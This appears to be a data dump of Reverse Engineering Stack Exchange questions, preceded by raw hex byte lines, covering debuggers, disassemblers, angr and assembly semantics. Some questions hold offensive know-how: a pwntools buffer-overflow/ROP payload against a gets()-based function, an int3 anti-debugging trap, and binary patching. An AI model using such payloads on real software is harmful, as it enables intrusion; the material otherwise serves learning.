+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0d 81  00 60 1f 55  4a  2a 73
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0e 01  00 60 1f 55  49  bc a6
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0e 21  00 60 1f 55  49  89 ae
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0e 61  00 60 1f 55  49  49 aa
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0e 81  00 60 1f 55  49  2c 8e
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0e a1  00 60 1f 55  49  19 86
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0e c1  00 60 1f 55  48  fc ab
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0e e1  00 60 1f 55  48  c9 a3
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0f 01  00 60 1f 55  48  be f2
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0f 21  00 60 1f 55  48  8b fa
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0f 61  00 60 1f 55  48  4b fe
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0f 61  00 60 1f 55  48  4b fe
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0f 61  00 60 1f 55  48  4b fe
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0f a1  00 60 1f 55  48  1b d2
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0f c1  00 60 1f 55  47  f1 2d
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0f c1  00 60 1f 55  47  f1 2d
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  10 01  00 60 1f 55  47  b6 87
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  10 21  00 60 1f 55  47  83 8f
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  10 21  00 60 1f 55  47  83 8f
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  10 41  00 60 1f 55  47  76 83
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  10 61  00 60 1f 55  47  43 8b
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  10 e1  00 60 1f 55  46  c3 82
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  10 e1  00 60 1f 55  46  c3 82
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  11 81  00 60 1f 55  46  24 fb
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  11 a1  00 60 1f 55  46  11 f3
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  11 a1  00 60 1f 55  46  11 f3
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  11 a1  00 60 1f 55  46  11 f3
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  11 e1  00 60 1f 55  45  c3 90
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  11 e1  00 60 1f 55  45  c3 90
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  12 41  00 60 1f 55  45  72 2a
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  12 41  00 60 1f 55  45  72 2a
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  12 61  00 60 1f 55  45  47 22
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  12 61  00 60 1f 55  45  47 22
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  12 c1  00 60 1f 55  44  f2 23
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  12 c1  00 60 1f 55  44  f2 23
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  13 21  00 60 1f 55  44  85 72
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  13 21  00 60 1f 55  44  85 72
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  13 21  00 60 1f 55  44  85 72
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  13 61  00 60 1f 55  44  45 76
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  13 81  00 60 1f 55  44  20 52
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  13 e1  00 60 1f 55  43  c3 b5
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  14 a1  00 60 1f 55  43  1a f5
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  14 e1  00 60 1f 55  42  ca d0
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  15 81  00 60 1f 55  42  2d a9
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  15 a1  00 60 1f 55  42  18 a1
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  16 61  00 60 1f 55  41  4e 70
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  16 a1  00 60 1f 55  41  1e 5c
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  16 c1  00 60 1f 55  40  fb 71
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  16 e1  00 60 1f 55  40  ce 79
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  18 01  00 60 1f 55  5f  b6 13
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  18 c1  00 60 1f 55  5e  f6 1e
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  19 81  00 60 1f 55  5e  24 6f
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  19 a1  00 60 1f 55  5e  11 67
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  1a 01  00 60 1f 55  5d  b2 ba
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  1a c1  00 60 1f 55  5c  f2 b7
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  1b 21  00 60 1f 55  5c  85 e6
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  1b 81  00 60 1f 55  5c  20 c6
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  1c 01  00 60 1f 55  5b  bf 41
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  1d 01  00 60 1f 55  5a  bd 15
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  1d 81  00 60 1f 55  5a  2d 3d
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  1d a1  00 60 1f 55  5a  18 35
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  1e 41  00 60 1f 55  59  7b ec
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  1e c1  00 60 1f 55  58  fb e5
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  1f 21  00 60 1f 55  58  8c b4
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  1f 41  00 60 1f 55  58  79 b8
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  1f 61  00 60 1f 55  58  4c b0
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  1f e1  00 60 1f 55  57  c3 6b
+
+" +"['memory', 'exe', 'dump']"," Title: Certain bytes in the memory (RAM) get changed after the program starts. Why?Body: I'm in a situation where I have an executable file. When I start it within the debugger (x32dbg), with breakpoints set to every occasion (DLL entry, DLL load, Thread start,..), to restrict the amount of actions that get executed right after the file is ran, + +in the dump I see some bytes which are different from those at the same location in the exe file. + +Why is this happening and how to prevent this? + + +My thought is it has something to do with dynamic linking of some sort. The values change when: the exe is saved(EVEN WITH THE EXACTLY SAME CONTENT AS BEFORE) and ran. Thus the offset where the code is placed and the specific bytes are recalculated. The only thing that loads, however, is ntdll.dll an then the first breakpoint is hit. So I guess the content of the exe is copied to the ram, that time is everything allright, then the magic part happens, where the subroutine or what knows what bytes to change and it changes them, and then the debugger gets the control. +" +"['binary-analysis', 'gdb', 'python', 'buffer-overflow', 'rop']"," Title: ROP chain: Buffer Overflow Return PointerBody: I am trying to get a ROP exploit to work on Ubuntu 18.04 LTS 64bit. + +I have a 64 bit binary (Nx enabled, ASLR disabled) with vuln function as follows: + +
public vuln
+vuln proc near
+
+var_100= byte ptr -100h
+
+push    rbp
+mov     rbp, rsp
+sub     rsp, 100h
+lea     rdi, s          ; ""Gimme some data!""
+call    _puts
+lea     rax, [rbp+var_100]
+mov     rdi, rax
+mov     eax, 0
+call    _gets
+nop
+leave
+retn
+vuln endp
+
+ +I need to overwrite the return pointer of vuln function with the libc base address where I will write parameters for execve call. + +The buffer is 264 bytes long. So with 272 'A' I get the following position: + +
0x55555555471d <vuln+45>    ret    <0x4141414141414141>
+
+ +Stack: + +
00:0000│ rsp  0x7fffffffe2c8 ◂— 'AAAAAAAA'
+
+ +But when I try to overflow with the libc address(0x7ffff7a3a000) it is giving a SIGSEGV and it is behaving the following way: + +
0x55555555471d <vuln+45>    ret    <0x3061785c3030785c>
+
+ +Stack: + +
00:0000│ rsp r11-6  0x7fffffffe2c8 ◂— 0x3061785c3030785c ('\\x00\\xa0')
+01:0008│            0x7fffffffe2d0 ◂— 0xefbdbfef3361785c
+02:0010│            0x7fffffffe2d8 ◂— 0x3030785cbdbf
+
+ +I dont know where am I going wrong!!!! I have put so many days in it but to no extent. I have done buffer overflow before but never encountered this problem. + +Following is my python script that is generating the payload (this is only to overflow the return address): + +
#! /usr/bin/env python2
+
+from pwn import *
+
+payload = 'A' * 264
+payload += p64(0x7ffff7a3a000)
+
+print(payload)
+
+" +"['disassembly', 'x86', 'address', 'graphics']"," Title: How is the I/O address space on the PC arranged?Body: I'm disassembling a 16-bit DOS executable, and looking at the following three instructions: + +
mov dx,0x3ce
+mov ax,0xff08
+out dx,ax
+
+ +I know it writes the value 0xff08 to I/O port 0x3ce. I also know that port 0x3ce is the ""Graphics 1 & 2 Address"" register on an IBM EGA card. Problem is, according to the manual, this port should take a byte value, not a word. + +What I'm guessing is happening is that the word 0xff08 is taken as two different bytes, where one byte ends up in the specified register and the other goes to an adjacent one. Or maybe the offending byte gets thrown out? Either way it's a guess, as I can't seem to find much info about this specific behavior. + +I don't have a good intuitive sense about which direction the I/O address space flows, or how the little-endian storage of the word may come into play. After this snippet executes, which ports got which bytes? +" +"['firmware', 'usb']"," Title: USB 3G Stick changing frequency bandsBody: I have 4 different types of USB 3G modems from Europe. They're not operator locked. I'm trying to use them on an American network for 3G connectivity. + +Even though they state ""850, 900, 1800, 1900 MHz"" bands in their specs, and my network supposedly has UMTS on 850 MHz, I can only get a 2G (EDGE) connection and furthermore, they all detect my SIM card as out of network and put me in ""roaming"" mode. + +I've found out that the radios in these things are usually universal but the band limits are only in software. Therefore I was wondering if there would be any way (through undocumented AT commands or firmware flashing) I could get either one of these modems to switch allowed bands and let me get 3G speeds in North America. + +Are there any resources where I can get AT command lists and/or different region firmware for these devices? Or is there anyone that could maybe point me in the right direction? + +These are the devices I have: + + + +I tried flashing different versions of firmware and/or googling AT commands to change bands on some of these, but at the end, the moment I switch mode to 3G I get ""no service"" + +Any help would be greatly appreciated... +" +['radare2']," Title: How does this command modify the condition?Body: I'm new to radare2 here. Just started learning and I was trying out a challenge. What does the 3 columns in the radare2 visual mode represent? + +May I know how the command below: + +wa je 0x400976 @0x00400968 + +changes 760c to 740c and jne 0x400976 to je 0x400976? + +Also, what does that accomplish? +Does it just bypass the function + +Thank you! + +full program + + +command + +" +"['disassembly', 'x86', 'register', 'intel']"," Title: How do the PSHUFLW and PSHUFD instructions work?Body: I have been trying to figure out exactly what is happening with these instructions and can't make sense of them. I can see that the PSHUFLW instruction acts upon the first 16 bytes of the XMM register but can not figure it out. I have read the decription in the Intel® Architecture Instruction Set Extensions Programming Reference but just can't seem to get it. I am a very visual person so any help would be greatly appreciated. I have run some tests using the code + +
xxm0 = 00000000000000000000000000003E2D
+PSHUFLW xmm0, xmm0, N
+
+ +and have the following results + +
 N = 0, output = 00000000000000003E2D3E2D3E2D3E2D
+ N = 1, output = 00000000000000003E2D3E2D3E2D0000
+ N = 2, output = 00000000000000003E2D3E2D3E2D0000
+ N = 3, output = 00000000000000003E2D3E2D3E2D0000
+ N = 4, output = 00000000000000003E2D3E2D00003E2D
+ N = 5, output = 00000000000000003E2D3E2D00000000
+ N = 6, output = 00000000000000003E2D3E2D00000000
+ N = 7, output = 00000000000000003E2D3E2D00000000
+ N = 8, output = 00000000000000003E2D3E2D00003E2D
+ N = 9, output = 00000000000000003E2D3E2D00000000
+ N = 10, output = 00000000000000003E2D00003E2D3E2D
+ N = 11, output = 00000000000000003E2D00003E2D0000
+ N = 12, output = 00000000000000003E2D00003E2D0000
+ N = 13, output = 00000000000000003E2D00003E2D0000
+ N = 14, output = 00000000000000003E2D000000003E2D
+ N = 15, output = 00000000000000003E2D000000000000
+ N = 16, output = 00000000000000003E2D000000000000
+ N = 17, output = 00000000000000003E2D000000000000
+ N = 18, output = 00000000000000003E2D000000003E2D
+ N = 19, output = 00000000000000003E2D000000000000
+ N = 20, output = 00000000000000003E2D00003E2D3E2D
+
+ +I would like to know how these instructions work, and maybe a visual guide on future instructions similar to this. I have only been reversing for a couple of weeks so I am very fresh. Thanks for any help you can provide. +" +['radare2']," Title: Print string at address with radare2Body: I have created a very basic golang program which display a message with fmt.Println(). + +Here is what is see in radare2: + +
lea rcx, obj.main.statictmp_0 ; 0x4c84b0 ; ""y[K""
+mov qword [local_48h], rcx
+lea rcx, [local_40h]        ; 0x40 ; '@' ; 64
+mov qword [rsp], rcx
+mov qword [local_8h], 1
+mov qword [local_10h], 1
+call sym.fmt.Println
+
+ +I suppose obj.main.statictmp_0 contains my string message. + +I have tried: + +
ps @obj.main.statictmp_0
+
+ +but it does not display my message. +Any idea ? + +Thanks +" +"['ida', 'assembly', 'arm', 'ios']"," Title: how should i change an instruction to NOP in IDA?Body: I am new with IDA assembler and i used to work with hopper app. +the problem is i can't change instruction in IDA from something like CBNZ to NOP. +is there any button to do this? i can't find anything on the internet and I have been searching for it all day. +I have tried many options from the edit menu. +" +['angr']," Title: angr with a golang targetBody: Here is a very basic golang program: + +
package main
+import ""fmt""
+
+func main() {
+    var s1 string
+    fmt.Scanln(&s1)
+
+    if s1==""goodpassword"" {
+        fmt.Println(""Good"")
+    } else {
+        fmt.Println(""Wrong"")
+    }
+}
+
+ +I have compiled this program (elf64 linux binary). + +I have diasssembled the binary and i have found the addresses of the 2 fmt.Println calls: + +
...
+0x00490d4f     lea rax, obj.main.statictmp_1    ; wrong
+...
+0x00490d99     lea rax, obj.main.statictmp_0    ; good
+...
+
+ +Now, i have wrote this python program: + +
import angr
+from angr.state_plugins import SimSystemPosix
+
+p = angr.Project('./mybinary')
+
+sm = p.factory.simulation_manager()
+sm.explore(find= 0x00490d99, avoid= 0x00490d4f)
+
+print(sm.found[0].posix.dumps(0))
+
+ +I do not understand why angr does not return ""goodpassword"" string. +I have something wrong but i do not understand what... + +Thanks for your help +" +['hexrays']," Title: Understanding Hex-Rays pseudo codeBody: What is the meaning of the following pseudo-code?: + +
    +
  1. BYTE1(v2) or BYTE1(v2)
  2. +
  3. HIBYTE(v2)
  4. +
+ +Is there any explanation for those macros? How can I implement those macros in C code? +" +['radare2']," Title: Function names syntax returned by radare2's afl?Body: Radare2's afl command returns function names with a specific syntax that I could not find documentation on: + +For example: + +
radare2 -2 -A -q -c ""aflj"" C:/Windows/system32/advapi32.dll
+
+0x77cce13c   22 280          sub.ntdll.dll_RtlNtStatusToDosError_13c
+0x77cce259    7 62           fcn.77cce259
+0x77cce29c   10 88           sub.KERNEL32.dll_lstrcmpiW_29c
+0x77cce2f9   24 463          sub.KERNEL32.dll_lstrlenW_2f9
+0x77c617b4    1 40           sym.imp.KERNEL32.dll_LocalAlloc
+0x77c6abe5    5 92   -> 130  sub.KERNEL32.dll_LocalAlloc_be5
+0x77c7edd5    1 20           sub.KERNEL32.dll_LocalAlloc_dd5
+
+ + + +The DLL file names are all in lowercase: + + +" +"['flash', 'bios', 'rom']"," Title: Flash ROM has lower max voltage than read device?Body: I'm planning to read a MX25U1635E chip using the CH341a reader. + +The specs for that chip say it has a max voltage of 1.6-2.0 volts. The reader has an output of 3.3-5.0 volts. + +Most tutorials for the reader instruct you to just clamp it on the chip and start reading. + +Can I do that in my case, or do I have tweak the CH341a voltage down somehow before reading the chip? +" +['assembly']," Title: Understanding assembly code: ""mov dword"" and ""mov qword"" in main.cBody: I have just converted this piece of code in assembly: + +
#include <stdio.h>
+#include <stdlib.h>
+
+int main(int argc, char** argv) {
+    return (1);
+}
+
+ +Here are my questions: + +
    +
  1. Once you push the base-pointer value on to the stack, RSP will decrement automatically (to a lower address). This will also happen when memory was allocated for argc and argv (""mov dword"" and ""mov qword""). Is this correct? I don't see any instruction to move the stack-pointer up the stack, so I am assuming this is done implicitly.
  2. +
  3. The instruction ""mov dword [rbp-4H], edi"" is 4 bytes less than the address in RBP, this is as expected since DWORD is 4 bytes in length. What I am confused about is why ""mov qword [rbp-10H], rsi"" is 10H (16 bytes)? Isn't QWORD 8 bytes in length? I was expecting the instruction to be ""mov qword [rbp-CH], rsi"", since 4+8=12 bytes.
  4. +
  5. Can you explain to me what the comments on the right-side are?
  6. +
+ +Below is the assembly code generated from my c program: + +
SECTION .text   align=1 execute                         ; section number 1, code
+
+main:   ; Function begin
+push    rbp                                     ; 0000 _ 55
+mov     rbp, rsp                                ; 0001 _ 48: 89. E5
+mov     dword [rbp-4H], edi                     ; 0004 _ 89. 7D, FC
+mov     qword [rbp-10H], rsi                    ; 0007 _ 48: 89. 75, F0
+mov     eax, 1                                  ; 000B _ B8, 00000001
+pop     rbp                                     ; 0010 _ 5D
+ret                                             ; 0011 _ C3
+; main End of function
+
+
+SECTION .data   align=1 noexecute                       ; section number 2, data
+
+SECTION .bss    align=1 noexecute                       ; section number 3, bss
+
+" +"['ida', 'embedded']"," Title: Z80 Absolute Jump to offset in middle of instructionBody: I'm working on reverse engineering an embedded system which uses a Z80 processor. I'm using IDA as the disassembler. I ran upon an absolute jump (JP) that seems to jump to the middle of another instruction. I undefined and redefined the target location as code, and it disassembled into valid instructions, but they don't appear to do anything. I was wondering if I could get some help making sense of this or if I'm overlooking something. + +Edit: +This jump is an exit point for a loop. + +Source + Bin + IDB file can be found here + +Jump code: + + + +Jump target with IDA auto disassembly: + + + +Jump target after undefining and redefining 121 as code: + + +" +"['static-analysis', 'angr']"," Title: Start Symbolic Analysis at a Given Address with AngrBody: Lets suppose I have a very big binary and I want to reverse just a part of this binary. + +Is there a way to tell angr to start symbolic analysis at a given address ? +" +"['ida', 'ollydbg', 'static-analysis', 'windbg']"," Title: Debugger Win32 Local vs WinDbg in Ida vs OllydbgBody: When I do dynamic analyze of exe file I have few option , and I want to know what are the advantages and disadvantages. + +I know that Ida designated for static analyze , but there are some debugger in Ida and lot of time I do dynamic analyze with those debuggers + +
    +
  1. When I choose Ida I can choose between Win32 debugger or WinDbg debugger, what is the difference ?
  2. +
  3. What is the difference between debug with Ida and debug with OllyDbg?
  4. +
+" +"['windows', 'x64dbg']"," Title: x64dbg ""System"" meaningBody: I'm a bit confused about what ""system"" refers to when looking at the callstack in x64dbg. Does it mean the code is currently being executed in ring0? I thought that only system calls are executed in ring0? (Which would mean that only code in ntdll would be executed by the system?) The word system seems to appear next to functions in user32 etc. Any help in correcting my misunderstanding would be very much appreciated. Thanks a bunch +" +['integrated-circuit']," Title: Help to identify unknown IC from MicrochipBody: I am asking here hoping that someone may have experience identifying these kind of old chips. Googling the reference just shows some forums with people in same situation as me. + +IC reference: 25072478 REV D + + +This is an Opel LCD dashboard design from the mid 80s. So the chip should have been available at that time. + +8 of the pins are connected to the main controller, which is a known part: +SAB80515 + + +I am also trying to get at least a part of the board schematic. + +Thank you. + +EDIT 1: The chips connects this way, I have to check the other pins left blank at the moment. + + +" +"['ida', 'ollydbg', 'debugging', 'debuggers', 'x64dbg']"," Title: Is there any debugger that supports step-back?Body: In Ida when I use debugger, but I can't step back. + +Is there any debugger that allow go backwards? +" +"['x86', 'radare2', 'static-analysis']"," Title: Radare2 Disassembler How Do You Organize Visual Panels (V!)?Body: I would like to use Radare2 to learn about how C is assembled into assembly but I am having trouble with the layout. I think the V! mode would be very handy as you can watch the registers update as the instruction pointer moves through the program, but I don't understand the layout. + +This is an example of they layout I would like: + + +It seems when I add a window (like Stack or Registers in this photo) it appears offscreen and I have to try closing different and splitting windows until the layout kind of falls into place. Is there an easy way to change exactly what is in each window? + +I know 'X' closes a window, 'z' switches the current window to the front, and '-' / '|' split a window. + +I have tried looking at the help but can't seem to figure out any other commands related to this issue. +" +"['assembly', 'c', 'anti-debugging', 'breakpoint']"," Title: How int3 looks like in CBody: This is assembly code that can catch debugger with int 3 : + +
MOV ECX, ExceptionHandler
+
+MOV DWORD PTR FS:[0], ExceptionHandler
+
+INT3
+      ///there is debugger!!!
+
+ExceptionHandler:
+       ////no debugger
+
+ +When programmer write a C program , which code he write that compile to this trap? + +I use Windows with x86 +" +"['elf', 'patching', 'injection', 'nasm']"," Title: Is it possible to add a label to an ELF executable and then call that label? If so, how?Body: Let's say we have this simple ""hello world"" nasm code that will be compiled to an ELF executable: + +
global main
+
+section .data
+    message db ""Hello World!"", 0x00
+
+section .text
+
+main:
+    call    hello
+    ret
+
+hello:
+    lea     rdi, [rel message]
+    call    puts
+    ret
+.end:
+
+ +Is it possible to add a label called decrypt into the compiled ELF executable and then subsequently call it (with/without the source code)? + +
global main
+
+section .data
+    message db ""Hello World!"", 0x00
+
+section .text
+
+main:
+    call    decrypt                              <---------------Addition
+    call    hello
+    ret
+
+decrypt:                                         <---------------Addition
+    DECRYPTOR_SECTION hello, hello.end-hello     <---------------Addition
+    ret                                          <---------------Addition
+
+hello:
+    lea     rdi, [rel message]
+    call    puts
+    ret
+.end:
+
+" +"['disassembly', 'assembly', 'linux', 'x86-64']"," Title: How do I go about overriding a function internally defined in a binary on Linux?Body: To be specific, I cannot recompile this binary, nor do I have access to the sourcecode. + +The functions are not defined within a shared library. + +So, how can I go about changing a function, or preferably detouring it to a new function? + +And if it's possible, use dlsym/dlopen to get my new modified code from a shared library, so I don't have to edit the binary by hand every time I want to change something. + +Oh, one more thing, editing the actual binary is something I can do/I have access to. + +And just for extra info, I have Radare2 installed, as well as GDB with pwndbg, so any solutions using those tools, or builtin GNU/Linux debugging tools would be appreciated. + +EDIT: + +I am a beginner to reverse engineering things, but not to the point I have zero idea what I'm doing. +" +"['windows', 'x64dbg']"," Title: The callstack does not show the message handlerBody: After clicking a button or doing anything which might generate a message to be translated and dispatched, why is that the callstack might not show the message handler? + +Say I am reversing an application, I hit the Ok button and then it generates a window. Pausing the application after that window is generated should show the message handler in the call stack right? I see a callstack with one of the last entries being the message loop itself (get translate and dispatch) but I don't see the callback function. Should I just try and go through dispatchmessage to get the message handler? Is there some resource which tells me where exactly the messagehandler is in dispatchmessage? +" +['crackme']," Title: Looking for crackme with full solutionsBody: There are lot of crack me site. + +I looking for site that have lot of hard crack me/ malware to research anti debug/anti vm... but with full solution +" +['malware']," Title: Academic journals for latest RE/Malware/Exploitation research?Body: I am looking for journals to keep track of the latest advances in reverse engineering, binary analysis, malware, binary exploitation, etc. +" +"['ida', 'ollydbg']"," Title: How to see addresses in Graph view in IDABody: In IDA, when I want to see the address of code, I must switch to Text view. +How can I see the address of code in Graph view? +By the way, is there Graph view in OllyDbg? +" +"['assembly', 'arm']"," Title: Help understanding ARM Assembly example code - loops, set flags and code mnemonicsBody: This is the example code: + +
_start:
+LDR r0, =n
+LDR r0, [r0]
+LDR r1, =array1
+MOV r2, #0
+LDR r4, =array2
+loop:
+LDR r3, [r1], #4
+CMP r3, #58
+BGT a_point
+CMP r3, #47
+BLT a_point
+SUB r3, r3, #0x30
+STR r3, [r4], #4
+
+a_point:
+    subs r0, r0, #1
+    BGT loop
+
+stop:
+    b stop
+
+.Data
+n: .word 6
+array1: .word 0x30, 0xFFFFFFF5, 0x37, 0x4b, 0x18, 0x40
+array2: .word 0x01, 0x0, 0x0, 0x0, 0x0, 0x0
+
+ +I'm having trouble understanding how the loop works, what it does and specifically how the branch instruction work on pair with the -lt and -gt suffixes. What is the purpose of this simple program? Thanks in advance for your help. +" +"['windows', 'x86', 'x64dbg', 'breakpoint']"," Title: x64dbg - Conditional breakpoint based on function argumentBody: How can I set a conditional breakpoint based on the argument of a function? + +I am trying to break on the windows function LoadLibraryExW: https://docs.microsoft.com/en-us/windows/desktop/api/libloaderapi/nf-libloaderapi-loadlibraryexw + +I want to break on this function only when the first argument (lpLibFileName) is equal to L""Test.dll"". When I break on the function I can see that L""Test.dll"" is esp+4. + +I've tried a few different variations without success. They either break on every LoadLibraryExW calls or none. Variations like: + +
Break Condiditon: [esp+4]==L""Test.dll""
+Break Condition: esp+4==L""Test.dll""
+etc..
+
+ +What is the proper way of setting a conditional breakpoint based on function arguments? Or register offsets? +" +"['ida', 'disassembly']"," Title: Unable to figure out how to map segments in IDABody: I have a 2 MB executable that I'm attempting to reverse engineer. It's executed on a 16-bit 8086 CPU. + +The segments go from 4000 (0x140000) to F000 (0x1F0000). + +I'm attempting to map the segments in the Program Segmentation window, but when doing so, addresses for call / jump operations fail to resolve when converting the entrypoint to code. + +Taking the final segment as an example, I set the Start Address to 0x1F0000, and the End Address to 0x200000. I set the base to 0xF000, as this is how it's referred to in the machine code. + +I do the same with the other segments, including the problem segment (0xD000 -> 0x1D0000). + +When converting to code, the resulting line is resolved as follows: + +
jmp far ptr 0D000h:1Ah
+
+ +This is as expected, jumping to segment 0xD000, with an offset of 0x1A, however IDA is not happy with this, complaining about it with the NONAME and BOUNDS errors. + +I have no idea how to properly map this in IDA. Can someone point me in the right direction? + +[edit] + +For reference, I already have the full list of segments I want to map along with their binary addresses: + +2000:0x1F0000 + +3000:0x1F0000 + +4000:0x140000 + +5000:0x150000 + +6000:0x160000 + +7000:0x170000 + +8000:0x180000 + +9000:0x190000 + +A000:0x1A0000 + +B000:0x1B0000 + +C000:0x1C0000 + +D000:0x1D0000 + +E000:0x1E0000 + +F000:0x1F0000 +" +"['android', 'javascript', 'api', 'https-protocol']"," Title: WebSocket debugging in Javascript app gives ""401 Unauthorized""Body: I'm attempting to reverse engineer a private API used by an Android app that makes use of WebSockets. These requests are made from JavaScript inside a WebView. + +I use Charles to intercept both HTTP and WebSocket requests, with it I'm able to see how the app successfully connects and speaks to the API with WebSockets. +The API uses cookies to authorize connections, the cookies responsible for it are ""ts.default"" and ""ts.default.sig"". + +This is how the request looks in Charles: + + + +My goal is to be able to speak with the API from a Python script. However, when making the same Upgrade request, making sure to keep all relevant headers, I get a 401 Unauthorized status code: + + + +I've uploaded the relevant JavaScript code responsible for such requests here. + +I'm not very proficient with WebSockets and seeing how I've been stuck here for the past few hours I thought maybe someone here could be able to spot what I'm missing. +" +"['ida', 'stack', 'heap']"," Title: How to identify if buffer allocate on stack or heap?Body: When I looking on Ida with static analyze I see that buffer pass to function/ function fill data in buffer. + +How can I know if this buffer allocate in stack/ heap? +" +['android']," Title: Android application can't open pasted SQLite databaseBody: So I have an installed application on my Android phone and it stores some data in an password protected SQLite database in the /data/data//databases/ folder. I used adb shell to move the database to my PC and unlocked it, modified some data and then moved it back to it's original location. However, when I run the application it keeps crashing and throw SQLiteExceptions ""Couldn't open database"". + +If I remove the modified database and restart the application everything works fine and a new, empty database is created, as expected. But if I move that database to another location and then move it back the application crashes and give the same exceptions again, even though the database isn't modified. + +Why can't I move around the database without making the application unable to read it? I would really appreciate some help here! +" +"['deobfuscation', 'mach-o']"," Title: How to decompile a obfuscated mach-o dylib?Body: I am trying to decompile a dylib called libConfigurer64.dylib, which is loaded from the environment variable ""DYLD_INSERT_LIBRARIES"" + +I want to analyze what it really does, so I dragged it in to IDA, and found that it exported ""_sub_06adf"",""_sub_06bdf"",""InitFunc_0"" + +In _sub_06adf: + +
db 'VfhT2zwxQpLeHRL6j4Oe4mrsmrjEAW',0
+align 10h
+
+ +In _sub_06bdf + +
db '(c) 2014 - Cryptic Apps SARL - Disassembling not allowed.',0
+db    0
+db    0
+db    0
+db    0
+
+ +They aren't correct asm code! And I have no clue what tool obfuscated this file.
+And I'm also curious about how can this dylib overwrite exisiting functions? + +Note: I've read https://alexomara.com/blog/a-silly-anti-disassembly-trick/, however this dylib isn't that trick, but is really obfuscated XD +" +"['ida', 'assembly', 'decompilation', 'patch-reversing', 'x86-64']"," Title: Calculate LEA operandBody: I have those opcodes on 64 bits: + +
